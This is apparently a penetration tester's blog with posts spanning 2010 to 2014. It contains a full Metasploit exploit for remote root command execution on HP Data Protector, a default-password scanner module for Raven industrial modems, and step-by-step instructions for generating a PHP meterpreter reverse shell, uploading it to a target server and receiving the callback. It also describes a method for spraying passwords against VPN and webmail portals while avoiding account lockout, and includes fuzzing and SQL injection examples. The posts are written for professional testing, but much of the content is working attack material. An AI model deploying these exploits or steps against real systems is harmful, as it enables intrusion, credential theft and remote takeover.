Sunday, August 3, 2014

Logical Chaos

Note: For the people that prefer to go straight to use the tool, it can be found here along with a presentation that I submitted to a conference.

It has been a long time since I posted something here. I apologize if someone was expecting me to. Anyways, the only reason why I came back is because I'd like to share an approach to external testing that I believe not a lot of people are exploiting. I might be wrong but at this time I haven't seen anything or anyone talking about this, at least from the Internet (internally everybody is doing this). The other reason why I want to share this is because I have found a number of companies having the same issue. Is not a technology / vendor issue per se. It is just a bad design and implementation in the way corporate tools such as webmail, web VPNs, or self password recovery apps are used without thinking of the potential risk that the company might face when things are looked from a ten thousand feet view and later zoomed into the details.  Lastly, I was hoping to show this to a broader audience at Defcon or Blackhat but my idea / topic was not accepted :'(  so I will just post it in here as a personal reference or for the few that read this or know me.    

OK. Here it goes.

The external (Internet) attack surface has consistently been reduced with the pass of time and little by little it becomes harder for attackers (or at least for me) to compromise companies without the use of social engineering. However, I think in the past years companies also lost focus in understanding basic security concepts such as authentication, identification and authorization and didn't focus on fixing the root cause of their security issues.  This, in conjunction with the heavy reliance of testers and companies on security tools and the need of companies to reduce cost and automate processes to allow remote connectivity to a wide range of users, have put large companies into difficult situations to protect every avenue that an attacker could exploit from the outside. I will explain what I mean with this in the next paragraphs.

For the last years I have used an avenue to get into a good percentage of companies from the Internet and transform external penetration tests into internal. This avenue is not new to anyone, actually is widely used during internal pentests, but I believe it is not exploited externally most of the time due to the complexity of technologies allowing remote access and lack of  tools that will help exploit this issue. I am talking about lack of two factor authentication and use of easy to guess passwords. Yes use of passwords... I know it sounds stupid but keep up with me. Most of the large companies I know are all using  Single Sign On solutions where users are managed in a centralized repository using the Active Directory or an Identity Management System (IDM) linked to it. The main purpose of this is simplifying the user management process that for the most part is a pain in the ass for all companies. If we keep looking at this trend the other thing that IT is focusing on usually is "user experience".  This basically means that if I have an employee that wants to login into an application, it doesn't matter if it is external or internal, he or she should use their corporate user account to do so. This creates a whole new problem for companies since some of the external applications are also used by third parties like contractors, government entities or other companies who have deals with the organization. This opens an avenue for hackers to try compromise companies from the outside. If we assume that in a large corporation they have around 100 external functional websites exposed to the internet and some of them are linked to the corporate (internal) user repository (AD). We can easily conclude that a web application vulnerability in one of these applications might lead to a bigger issue if the attacker is able to compromise a valid user account. Now, the other interesting piece would be how companies are managing remote access to sensitive information or internal resources such as email, corporate applications or other systems that might be considered critical to the business. What I have seen, is that organizations have to expose part of their infrastructure to the Internet weather they like it or not. It is just a business need. Some companies expose part of their PeopleSoft or SAP systems because everything is centralized in there. Other companies have to allow VPN access to contractors so they can login to an application they don't want o expose on the internet. Whatever the case might be, the vast majority of companies will have on the Internet the corporate web email, some kind of remote access capability (VPN), external web applications linked to internal applications and, if we are lucky, a password reset application (self service tool) that will allow a remote user to change their corporate password. At the same time two factor authentication is expensive, hard to setup and not widely implemented in all applications.

After that long explanation / introduction of the trends in most large companies here is where I am going with all this. We use these applications on a day by day basis without asking ourselves if they should work like this or not. Applications such as web mail, web vpn, and other remote connectivity apps do not handle the scenario where someone is testing user accounts all the time until he or she successfully gets in. Yes, there are lockout policies in the Active Directory (AD) that will not allow someone to test a user more than a number of times but there are ways around this too.

Before I start, please keep in mind that what I explain in here is just one piece, Anyone testing externally the infrastructure of a company should test for all types of vulnerabilities and not only one. However, it is always good to have a tool that you can leave running while you look manually for other vulns. Anyways... the approach that I follow to exploit this issue, bad design or however you want to call it is based on two steps: user enumeration or user predictability and brute force. Nothing new to anyone so here it goes. Every time I  perform an external pentest I perform discovery of their applications, identify the ranges and understand what is connected with what. For example, I try to identify all the web applications that belong to the company and later see if there seem to be any applications that are linked to the AD. How can you test this? Well, the other thing that I do is an analysis of documents' metadata using FOCA. This can be accomplished with a number of tools but I like FOCA and the results it returns. This will allow me to gather at the very least one or two valid internal user accounts. Once I have these user accounts two things come out of this: first, I know the user structure and second, I have user accounts that I can test on applications that have password rest capabilities and see if they are valid or not. Basically, I will try the user accounts I gathered with FOCA on any external application identified with a user enumeration issues looking for some link to the internal Active Directory. If they have user enumeration and is linked to the AD I will enumerate a many users as possible obviously assuming the app doesn't send emails to the valid users (remember we also know the user name structure). Once I have a number of user accounts (around 1000) that I feel are valid on the internal Active Directory I would look for remote jumps to internal information. Web VPNs, Citrix servers, web mail servers, etc. Anything that allows me to get inside the corporate network from the Internet and obtain access to internal resources. Once I have all those pages I use the ones that don't support two factor to brute force users and passwords. However I don't brute force each user with several passwords but I gather all the users and test only one password on all of them. The reason for this is to avoid locking out accounts and increases the probability of getting on valid internal user account.  Simple, right? So three easy steps:

  1. Gather information and espeially user accounts
  2. Enumerate as much users as possible
  3. Bruteforce those user accounts with one or two passwords at the most while waiting for the lockout count resets itself after the users logins      
To do this a created a simple set of scripts / tool named Logical Chaos. This tool allows to enumerate users where possible and later to brute force a large number of user accounts with a number of passwords. The enumeration piece is kind of weak and the reason for this is that most of the enumeration can be done using other tools like burp suite. The reality is that when user enumeration is identified on a web application most of the time cookies are not important and heavy javascript pages don't play in the mix. Now, when it comes to bruteforcing most of the complex web apps avoid the use of captchas by creating dynamic cookies for every time a user and password is submitted. That is where this tool comes handy, where Burp or other web proxies won't work when brute-forcing users' passwords. I know that it is not a tool that will do all for you but I think it can help a lot of people to have good results on external pentests if you follow the process.

Logical Chaos
The tool can be downloaded on my github here. I believe it is well documented and if you understand that the final purpose of this tool is to test several user accounts with only one or two passwords everything should be kind of straight forward.

  • Enumerate
    • QPM - Quest Pasword Manager. This is an amazing way of enumerate users. The tool is configured to use the application to enumerate as many users as possible and uses a logical flaw in the way captchas are configured to enumerate all possible users. This can be accomplished by using the search  functionality of the Quest Password Manager (when available) or by just guessing users based on the user name structure. For example, jsmith, john.smith, etc. 
      • Captchas - If captchas are enabled the tool is programmed to detect them and wait for the user to manually input the first set of captchas. Once captchas are provided through the browser QPM will assign a cookie that will allow anyone to enumerate users without captchas. The reason why this tools has to be used to do this is because this process has to be done through the browser. Also, QPM is heavy on java script and sometimes is diffucilt to interpret the results by going through a web proxy. That said, I am sure that there are ways around this however to me it was simpler to develop this that to repeat a complex process every time I faced this application (QPM)
  • Bruteforce - all modules are pretty straight forward. The tool uses the browser to appear a real user and avoid dynamic cookies and heavy java script pages that will be a mess to test through a proxy. The one that I feel is the coolest of these ones and a little but different is the RSA SecureID selfservice module. This one goes through the process and obviously if one user gets compromised using this app then you can even obtain a new temporary token ;) Anyways, I will let you try it if you are interested
    • XenApp – A.K.A Citrix Metaframe
    • Citrix vpn
    • Outlook Web mail
    • Web Forefront access
    • Cisco Web VPN
    • Juniper Web VPN
    • PeopleSoft
    • RSA SecureID selfservice
    • Automated

The recommended way of using the brute force modules, as mentioned before, is to test several users at a time with one password and wait at least one day to test the next password. The reason for this is to avoid locking out Active Directory users, allowing them to login the next day and reset the lockout count. The main idea of this tool is to test for weak passwords during the night while you look for other vulnerabilities like SQLi, XXS, CSRF, file inclusions, etc. The good news is that is you get one user you probably will be able to compromise some important information. Please think what you do before doing so and don't blame the tools if you mess up something.

I honestly hope this helps someone and provides some kind of perspective on how some companies can improve their security by pushing vendors to improve the way their tools / appliances / applications work. That is the only reason why I am making this public anyways...

Special thanks to:

ET - @etlow for all the help and guidance through the years.
@facon_lownoise - for all the comments on the tool and being the first beta tester







 

Tuesday, November 27, 2012

Raven Airlink default password scanner

This is a short post that I have been wanting to do for a long time but I haven't have time. I know, excuses.

In some of the pentests that I'd performed over utility companies I have identified that as a consistent problem the use of small modems that will allow remote connectivity (think SCADA). The problem begins with the configuration of the modem itself since a lot of the times the modem is provided by the ISP (e.g. Verizon or ATT) and sometimes not really managed by the company that is using it, most of the times for lack of knowledge of plant engineers. In most of the cases these devices come with a default administrator password that can be used to configure the device remotely. This is a screenshot of the metasploit module that I developed to test for this misconfiguration and how to use it:



Just copy the code at the end of this post and paste it into a file in the modules/auxiliary/scanner/http/ folder and load the msfconsole. I already submitted this module to the metasploit dev team however I never know if they'll publish my stuff or not. In this one I believe they might not do it specially because I used the digest function inside my module. Don't get me wrong, I completely understand why they have high standards for the code they publish to the framework and they have all my respect for that but some of these modules I develop them on my free time and I will not waste more time on them after they work for me.

I hope this helps someone.

gr33tz to etlow

The code:




##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'digest'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::Scanner

    def initialize
        super(
            'Name'           => 'Raven GPRS default password',
            'Version'        => '$Revision: 14789 $',
            'Description'    => 'This module simply attempts to login to a Raven modem using the default user:pass.',
            'References'     =>
                [                      
                    [ 'CVE', '1999-0502'], # Weak password
                    ['Vendor URL', 'http://www.sierrawireless.com/en/productsandservices/AirLink/Gateways.aspx']
                ],
            'Author'         => [ '@c4an', 'David Llorens <[at]c4an>' ],
            'License'        => MSF_LICENSE
        )

        register_options(
            [
                Opt::RPORT(8088),              
                OptString.new('URI', [true, "URI for modem login. Default is /msci", "/msci"]),
                OptString.new('PASSWORD', [true, "Password for the modem. Default is 12345", "12345"]),
                OptInt.new('SLEEP', [true, "Seconds to delay the MD5 HTTP auth after the identification of the modem. This is required to have accurate results", 6]),
            ], self.class)
       
       
        register_advanced_options(
            [
                OptString.new('USER', [ false, "Default is user", 'user']),              
            ], self.class)
    end
       

    def run_host(ip)
        modem = false
        user = datastore['USER']
        pass = datastore['PASSWORD']
        begin          
            res,c = send_digest_request({
                'uri'     => "#{datastore['URI']}",
                'method'  => 'GET',
                #'DigestAuthIIS' => false,
                'DigestAuthUser' => user,
                'DigestAuthPassword' => pass,              
                }, 45)
            unless (res.kind_of? Rex::Proto::Http::Response)
                vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} not responding")
                return :abort
            end
           
            if res.code != 401                  
                print_good("http://#{rhost}:#{rport}#{datastore['URI']} [Raven  GPRS modem] successful login '#{user}' : '#{pass}'")
                report_auth_info(
                        :host => rhost,
                        :port => rport,
                        :sname => (ssl ? "https" : "http"),
                        :user => user,
                        :pass => pass,
                        :proof => "WEBAPP=\"AT&T GPRS Raven Modem default password\"",
                        :source_type => "user_supplied",
                        :duplicate_ok => true,
                        :active => true
                )
              else
                vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} ] [Raven GPRS Modem] failed to login as '#{user}':'#{pass}'")          
            end                              
        rescue ::Rex::ConnectionError => e
                vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} - #{e}")
            return
        end
    end
  
    def send_digest_request(opts={}, timeout=20)
        # Code taken from http client Module in the framework developed by HD Moore
        # The reason for this is because I want to check if the device is actually a Raven device
        # before sending the credenctials and this was the only way to do it and using the digest function created in the framework
        @nonce_count = 0

        return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser'])
        to = opts['timeout'] || timeout

        digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || ""
        digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || ""

        method = opts['method']
        path = opts['uri']
        iis = true
        if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false)
            iis = false
        end

        begin
        @nonce_count += 1

        resp = nil
       
        if not resp
            # Get authentication-challenge from server, and read out parameters required
            c = connect(opts)
            r = c.request_cgi(opts.merge({
                    'uri' => path,
                    'method' => method }))
            resp = c.send_recv(r, to)
            unless resp.kind_of? Rex::Proto::Http::Response
                return [nil,nil]
            end
            return [nil,nil] if resp.code == 404
            if resp.code != 401
                return resp
            end
            return [nil,nil] unless resp.headers['WWW-Authenticate']
           
        end
       
        # Don't anchor this regex to the beginning of string because header
        # folding makes it appear later when the server presents multiple
        # WWW-Authentication options (such as is the case with IIS configured
        # for Digest or NTLM).
        a = resp['www-authenticate'].match(/Digest (.*)/)[1]      
        parameters = {}
       
        a.split(/,[[:space:]]*/).each do |p|
            k, v = p.split("=", 2)
            parameters[k] = v.gsub('"', '')
        end
       
        modem = true if(resp.headers['WWW-Authenticate'].to_s.scan(/Airlink.com/i).size >= 1)
       
        if modem
            print_good("#{rhost}:#{rport} seems to be an Raven device!")
           
            # GPRS modems are incredibly slow to reply back after the first HTTP request is made.
            # The sleep is a patch to have accurate results before sending MD5 and make sure that GPRS replies back
            # Remove it at your own risk
            sleep(datastore['SLEEP'])
           
        else
            print("http://#{rhost}:#{rport}#{datastore['URI']} - Not an Raven GPRS modem")
            return [nil,nil]
        end
       
        qop = parameters['qop']

        if parameters['algorithm'] =~ /(.*?)(-sess)?$/
            algorithm = case $1
            when 'MD5' then Digest::MD5
            when 'SHA1' then Digest::SHA1
            when 'SHA2' then Digest::SHA2
            when 'SHA256' then Digest::SHA256
            when 'SHA384' then Digest::SHA384
            when 'SHA512' then Digest::SHA512
            when 'RMD160' then Digest::RMD160
            else raise Error, "unknown algorithm \"#{$1}\""
            end
            algstr = parameters["algorithm"]
            sess = $2
        else
            algorithm = Digest::MD5
            algstr = "MD5"
            sess = false
        end
       

        a1 = if sess then
            [
                algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
                parameters['nonce'],
                @cnonce
            ].join ':'
        else
            "#{digest_user}:#{parameters['realm']}:#{digest_password}"
        end

        ha1 = algorithm.hexdigest(a1)
        ha2 = algorithm.hexdigest("#{method}:#{path}")

        request_digest = [ha1, parameters['nonce']]
        request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
        request_digest << ha2
        request_digest = request_digest.join ':'

        # Same order as IE7
        auth = [
            "Digest username=\"#{digest_user}\"",
            "realm=\"#{parameters['realm']}\"",
            "nonce=\"#{parameters['nonce']}\"",
            "uri=\"#{path}\"",
            "cnonce=\"#{@cnonce}\"",
            "nc=#{'%08x' % @nonce_count}",
            "algorithm=#{algstr}",
            "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
            # The spec says the qop value shouldn't be enclosed in quotes, but
            # some versions of IIS require it and Apache accepts it.  Chrome
            # and Firefox both send it without quotes but IE does it this way.
            # Use the non-compliant-but-everybody-does-it to be as compatible
            # as possible by default.  The user can override if they don't likedatastore['PASSWORD']
            # it.
            if qop.nil? then
            elsif iis then
                "qop=\"#{qop}\""
            else
                "qop=#{qop}"
            end,
            if parameters.key? 'opaque' then
                "opaque=\"#{parameters['opaque']}\""
            end
        ].compact

        headers ={ 'Authorization' => auth.join(', ') }
        headers.merge!(opts['headers']) if opts['headers']

       
        # Send main request with authentication
        r = c.request_cgi(opts.merge({
            'uri' => path,
            'method' => method,
            'headers' => headers }))
        resp = c.send_recv(r, to)
        unless resp.kind_of? Rex::Proto::Http::Response
            return [nil,nil]
        end
       
        return [resp,c]

        rescue ::Errno::EPIPE, ::Timeout::Error
            vprint_error("Connection timed out")
        end
    end

end

Thursday, August 4, 2011

HP Data Protector vuln

This is a quick post on a vuln we (ch0ks and I)identified and exploit in a HP-UX during a pentest. The vuln had been already reported on the ZDI site and had a working PoC on security focus. The thing is though, that the working exploit only worked for Windows servers and workstations. After some time of analysis by ch0ks and me during the pentest we figure out a way to execute commands on the HP-UX server with a modified version of the payload included in the PoC. The full explanation of how we did this can be found in Adrian's Puente (ch0ks) blog hackarandas.

The metasploit module that I developed using this analysis has been already submitted to the team and hopefully they will included in it. Just to show you guys that I am not full of it I included some screenshots of the execution of the module.

Module options:


Example of the working exploit runnng a simple command on the HP-UX (/usr/bin/id):

gr33tz to ch0ks, etlow.

c4an.

Exploit code:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP Data Protector Remote Command Execution',
            'Description'    => %q{
                    This exploit abuses a vulnerability in the HP Data
                Protector service. This flaw allows an unauthenticated
                attacker to execute arbitrary commands with the privileges
                of the root user.
            },
            'Author'         => [ 'c4an', 'ch0ks'],
            'Version'        => '$Revision: 10561 $',
            'References'     =>
                [
                    [ 'CVE', '2011-0923'],                   
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
                    [ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'],
                    [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux']

                ],
            'Platform'       => [ 'unix','linux'],
            'Arch'           => ARCH_CMD,
           
            'Payload'        =>
                {
                    'Space'       =>10000,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic',
                        }
                },
            'Targets'        =>
                [
                    [ 'Automatic Target', {}]
                ],
            'DefaultTarget'  => 0,
           
            'DisclosureDate' => 'June 26 2011'
        ))

        register_options(
            [
                Opt::RPORT(5555),               
            ], self.class)
    end

    def exploit
        print_status("Sending our commmand...")
        # Send the job request with the encoded command
       
        shell_mio = "usr/bin/sh"
        salto = "\n"
        s = salto.encode
       
        shellcode = "\x00\x00\x00\xa4\x20\x32\x00\x20\x63\x34\x61\x6e\x63\x34\x61\x6e" +
            "\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x63\x34\x61\x6e" +
            "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20\x63\x34" +
            "\x61\x6e\x20\x20\x20\x20\x00\x20\x50\x6f\x63\x00\x20\x4e\x54\x41" +
            "\x55\x54\x48\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48" +
            "\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48\x4f\x52\x49" +
            "\x54\x59\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f" +
            "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e" +
            "\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f"
        shell =     shell_mio +
                    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
                    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
                    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  +
                    payload.encode + s
                   
        sploit = shellcode + shell
       
        begin
            connect
            sock.put(sploit)
            res = sock.get
            print_status(res.to_s)
            handler           
        rescue
            print_status("Error in connection or socket")
        end
    end
end

Friday, March 25, 2011

Nessus reports to csv

Even though it seems a stupid thing there have been times when I have to upload Nessus reports to an excel spreadsheet to play with the data and report a executive summary of all the vulns. I putting this post as a personal reference with the hope that sometimes it will help someone.

1. Export the Nessus report to a .nesssus (v1) file

2. Convert the nessus report to a nbe file with the following command

/opt/nessus/bin/nessus --dot-nessus NESSUS_REPORT.nessus -i "REPORT_NAME" -o REPORT_Converted.nbe

3. Download the python script developed by tssci-security. You can find it

4. Run the script using the following commmand

./tissynbe.py -f REPORTNAME-Converted.nbe -o REPORTNAME.csv

Note: An update on this shit. I no longer use that terrible script to import nessus results to an excel file. I use the clean import excel provided by a nice guy on the Tenable blog. Here is the link to the discussion board: https://discussions.nessus.org/thread/1900 (Nessus 4.2 Import Clean.xlsx)

Here is the link to the file: https://discussions.nessus.org/servlet/JiveServlet/download/4424-1182/Nessus%204.2%20Import%20Clean.xlsx

Thursday, February 24, 2011

Ode to PHP meterpreter payload

The reason why I am writing this post is because I want to give credit to this incredible piece of code that made my life easy in on of my pentests. So, here we go...

The meterpreter payload is one of the most popular payloads in the metasploit framework. There are many reasons for that but the main one is that it will allow you to run specific commands in the compromised server without actually running a shell which is incredibly easy to detect by a sysadmin. This payload was created, as far as I know, by the Carlos Perez or darkoperator which on top of that has created a number of scripts to escalate privileges, modify the operating system services or even maintain a persistent metepreter connection. Although this payload has been out there for a long time a great way of taking advantage of it is by using it in its php form (created by Egypt). This is because usually when you attack web sites or servers from the Internet it is uncommon to identify open service with exploitable vulnerabilities. Usually, the ports on Internet servers will be filtered or blocked by a Firewall which makes the exploitation harder from the outside. This is when the meterpreter in its PHP form comes in. It is a lot more common to find web applications that allowed registered users to upload files or exploit SQL injections that will allow you to upload a file in the /tmp folder or in the /images folder. This is incredibly dangerous for if identified in any web external server even if you don't use the meterpreter payload. However, this payload will make your life so much easier! Here is how to run it.

Create the payload using your external IP address:

msfplayload php/meterpreter/reverse_tcp LHOST=MY_EXTERNAL_IP LPORT=4444 R > my_m3t3rpr3t3r.php

Start the msfconsole and start the multi/handler to receive connections to your computer. If you have an internal firewall in your machine you will have to allow incoming connections to your previously defined port, in this case 4444.

msf >use multi/handler
msf >set PAYLOAD php/meterpreter/reverse_tcp
msf >set LHOST MY_EXTERNAL_IP
msf >set LPORT 4444
msf >exploit -z -j

Now, just upload the file my_m3t3rpr3t3r.php to a folder that you can reach from the internet. Usually you can put it in /var/www/images/. After that your go to your target server and excecute the payload as follows (asssuming that you uploaded the file to the images folder):

http://MY_TARGET.com/images/my_m3t3rpr3t3r.php

If everything works as expected you should receive a connection back to your computer that will allow you to execute commands in the server as a non-privileged user (e.g. www-data). After that you can try to escalate privileges with a local exploit or using any other trick that you know.

Again, I hope this helps someone.

P.D. Thanks again to the metasploit team for sharing this!

c4an.

Monday, December 13, 2010

Metasploit HTTP fuzzer v0.2 - Tutorial

The main idea of this post is give an overview of the fuzzer that I developed. I don't think it is an state of the art fuzzer. Actually, I think it is pretty dumb fuzzer but I feel it can help a lot if you know how to configure it and use metasploit at the same time.

To start using the fuzzer download the file from here and save it in the metasploit msf3 folder under "/modules/auxiliary/fuzzers/http/"

Start msfconsole and type: use auxiliary/fuzzers/http/http_fuzz

Now, starting with the basic, the options. This tool can provide different kind of fuzzing types depending on what the user needs. The main idea behind the tool is to help in the discovery of common problems on web applications and also help with the identification of vulnerabilities by fuzzing specific parameters. The following are the options that the fuzzer provides.



Some of this options I feel are self explanatory if you look at the description. However, some of this might not be so intuitive. Because of this I will explain with some examples.

Example 1 - NUMERIC Fuzzing (TYPE 1)
1. Configure fuzzing point
The first thing that you have to do is to pick the parameter of the application that you want to fuzz. You can do this by browsing through the application (using a proxy or not) and selecting the parameters that you want to test. In this example I will use the fuzzer just to discover specific valid pages on the application and identify valid pages. Lets say that we find a website that will allow the follow GET request: http://web_app/about/news?id=24 . Now, if we want to play with the id  parameter the only thing that we will have to do is configure the fuzzing point. On mfconsole type:

msf auxiliary(http_fuzz) > set VHOST web_app
VHOST => web_app
msf auxiliary(http_fuzz) > set RHOST host_IP
RHOST => host_IP
msf auxiliary(http_fuzz) > set PATH /about/news?id={X}24{X}
PATH => /about/news?id={X}24{X}


2. Configure METHOD

msf auxiliary(http_fuzz) > set METHOD GET
METHOD => GET


3. Configure TYPE of fuzzing - Now you just have to select the TYPE of fuzzing and depending on that other parameters will have to be configured. For this example we will select Numeric fuzzing.

msf auxiliary(http_fuzz) > set TYPE 1
TYPE => 1


4. Configure START and STOP

msf auxiliary(http_fuzz) > set START 24
START => 24
msf auxiliary(http_fuzz) > set STOP 100
STOP => 100


5. Start the fuzzer

msf auxiliary(http_fuzz) > run

[*] Fuzzing...
[*] Start number: 24
[*] Stop Number: 100
[*] Iterations 77
[*] No Headers provided
[*] No BODY was provided as a part of the request
[*] No Cookies were provided as a part of the request
[*] You need to create a database and connect to it if you the DATABASE option to work.
[*] Running fuzzer against http//ip_address/about/news?id={X}24{X}
[*] | ID | CODE |  LENGTH | RESP TIME | TEST VALUE

[*] | 1 |  302 |  350  | 0.348529465 | 24
[*] | 2 |  302 |  350  | 0.302565619 | 25
[*] | 3 |  302 |  350  | 0.377012325 | 26
[*] | 4 |  302 |  350  | 0.335730538 | 27
[*] | 5 |  302 |  350  | 0.399629274 | 28
[*] | 6 |  302 |  350  | 0.301453555 | 29
...
[*] | 77 |  302 |  350  | 0.301453555 | 100
[*] Auxiliary module execution completed
msf auxiliary(http_fuzz) > 


Example 2 - STRING Fuzzing (TYPE 2)
A similar kind of  fuzzing can be done using the STRING fuzzing (set TYPE 2). The only difference is that instead of providing numbers at the START and STOP options you will have to provide strings. For example:

msf auxiliary(http_fuzz) set START a
msf auxiliary(http_fuzz) set STOP zzzzz

This will basically go through all the string from a-zzzz on the selected parameter

Example 3 - CUSTOM Fuzzing (TYPE 3)
I will assume that selecting a fuzzing point and a method (GET or POST) are already explained in Example 1. For using the custom fuzzing option you just have to define the characters that you want to use during fuzzing. In this example it is assumed that the fuzzing point has been already selected.

1. Configure TYPE of fuzzing

msf auxiliary(http_fuzz) > set TYPE 3
TYPE = 3


2. Configure CHARS for fuzzing. The default CHARS to use while using this option are: abcdefghijklmnopqrstwxiz1234567890$%/(= . Look at the advanced options of this module to review them (show advanced)

msf auxiliary(http_fuzz) > show advanced

If you want to change this characters use the set CHARS command. For example:

msf auxiliary(http_fuzz) > set CHARS abc123&^$
CHARS => abc123&^$

3. Set the number of POSITIONS that you want the fuzzer to test. For example if you select only two CHARS ("ab") and two POSITIONS. The fuzzer will try the following strings: [a,b,ab,ba,aa,bb] . It is recommended that the number of positions matches the number of character provided by the user. This is the only way to provide all possible options.

msf auxiliary(http_fuzz) > set POSITIONS 3
POSITIONS => 3
msf auxiliary(http_fuzz) > set CHARS abc
CHARS => abc


4. Run the FUZZER over the specific parameters that you want to test. Remember to always enclose the parameter that you want to substitute on the request with: {X}PARAMETER{X}

msf auxiliary(http_fuzz) > run


Example 4 - FILE Fuzzing (TYPE 4)
I guess this option could be also called fuzzing using a file instead of "file fuzzing" to avoid confusions. I apologize if I made someone believe that this option is the typical file fuzzing .

FILE fuzzing is option '4' of the fuzzer. This option will basically allow you to choose a file that will contain a sequential list of all the words/characters/numbers or whatever thing makes sense to use for fuzzing. The idea of this options to allow the user to dynamically use any word list that they want to use. I have used this to discover files or directories on web servers but it can basically used depending on any situation that you want. Another way that I have used this I have put together a list of SQL injections or XSS commands and fuzz on an specific parameter. For a list of this that you can include in this file I recommend the tool created by Rsnake a couple o years ago: "NoMore1=1" (or something like that..)  At the end of the day it is up to you to imagine how to use this functionality...

A small example would be:

msf auxiliary(http_fuzz) > set TYPE 4
TYPE => 4
msf auxiliary(http_fuzz) > set PATH /{X}a{X}/
PATH => /{X}a{X}/
msf auxiliary(http_fuzz) > set RHOST host_ip
RHOST => IP_ADDRESS
msf auxiliary(http_fuzz) > set VHOST web_app.com
VHOST => IP_ADDRESS

msf auxiliary(http_fuzz) > set FILE wmap_dirs.txt
FILE => wmap_dirs.txt

msf auxiliary(http_fuzz) > run


[*] Fuzzing...
[*] Number of requests 2346
[*] No Headers provided
[*] No BODY was provided as a part of the request
[*] No Cookies were provided as a part of the request
[*] Running fuzzer against http//IP_ADDRESS/{X}a{X}/
[*] | ID | CODE |  LENGTH | RESP TIME | TEST VALUE

[*] | 1 |  404 |  1635  | 0.125380119 | 0
[*] | 2 |  404 |  1635  | 0.140205328 | 00001
[*] | 3 |  404 |  1635  | 0.137170723 | 0001
[*] | 4 |  404 |  1635  | 0.15165385 | .CVS
[*] | 5 |  404 |  1635  | 0.134547762 | ...
[*] | 6 |  404 |  1635  | 0.150078353 | 0day
[*] | 7 |  404 |  1635  | 0.147979133 | 001
[*] | 8 |  404 |  1635  | 0.151717669 | 1
[*] | 9 |  404 |  1635  | 0.152698101 | 007
[*] | 10 |  404 |  1635  | 0.184284936 | 04
.
.
... and so on

Example 5 - RADOM CHARS Fuzzing (TYPE 5)
Although this option might seem repetitive I believe it is not, I'll explain. Sometimes when you are looking for specific vulnerabilities in an web application it is easier to use random characters in a number of parameters and identify how the application responds to them. This will help the attacker to identify injection points (sql or XSS) or other any strange behavior on the application such as redirections. Although this same type of fuzzing might be accomplished by configuring option '3' of the fuzzer I though it come really handy to have it just by changing the fuzzing type.

msf auxiliary(http_fuzz) > set TYPE 5
msf auxiliary(http_fuzz) > set PATH /eng/News.asp?id={X}a{X}
PATH => /eng/News.asp?id={X}a{X}
msf auxiliary(http_fuzz) > set RHOST host_ip
RHOST => IP_ADDRESS
msf auxiliary(http_fuzz) > set VHOST web_app.com
VHOST => IP_ADDRESS
msf auxiliary(http_fuzz) > run

[*] Fuzzing...
[*] Number of requests 185372
[*] No Headers provided
[*] No BODY was provided as a part of the request
[*] No Cookies were provided as a part of the request
[*] Running fuzzer against http//ip_address/eng/News.asp?id={X}a{X}
[*] | ID | CODE |  LENGTH | RESP TIME | TEST VALUE

[*] | 1 |  200 |  133  | 0.544628639 | '
[*] | 2 |  200 |  17922  | 0.662964496 | /
[*] | 3 |  200 |  17922  | 0.693027466 | |
[*] | 4 |  200 |  17922  | 0.712019893 | "
.
.
... and so on

In this specific example although we get as a response a HTTP CODE 200 when you look at the LENGTH column you can see that something is happening in the application when we use the ' (single column) character. That is the main purpose of this option; identify the character that might lead to an injection or something worth to look further more.


Example 6 -SQL injection Fuzzing (TYPE 6)
The main purpose of this options is to use it once you already detected an injection point and run it on that parameter just. I mean in my opinion this is straight forward. Set the fuzzing parameter and run the module. In order for this option to work you can have to download the sql_injections file that is in the site where and save it under the msf directory /msf3/data/wordlists/. Go here if you want to download it.

msf auxiliary(http_fuzz) > set TYPE 6
TYPE => 6
msf auxiliary(http_fuzz) > set PATH /english/news.php?id=48{X}a{X}

msf auxiliary(http_fuzz) > run

[*] Fuzzing...
[*] Number of requests 151
[*] No Headers provided
[*] No BODY was provided as a part of the request
[*] No Cookies were provided as a part of the request
[*] Running fuzzer against http//host_ip/english/news.php?id=48{X}a{X}
[*] | ID | CODE |  LENGTH | RESP TIME | TEST VALUE

[*] | 1 |  200 |  8792  | 0.369505342 | ' or 'one'='one
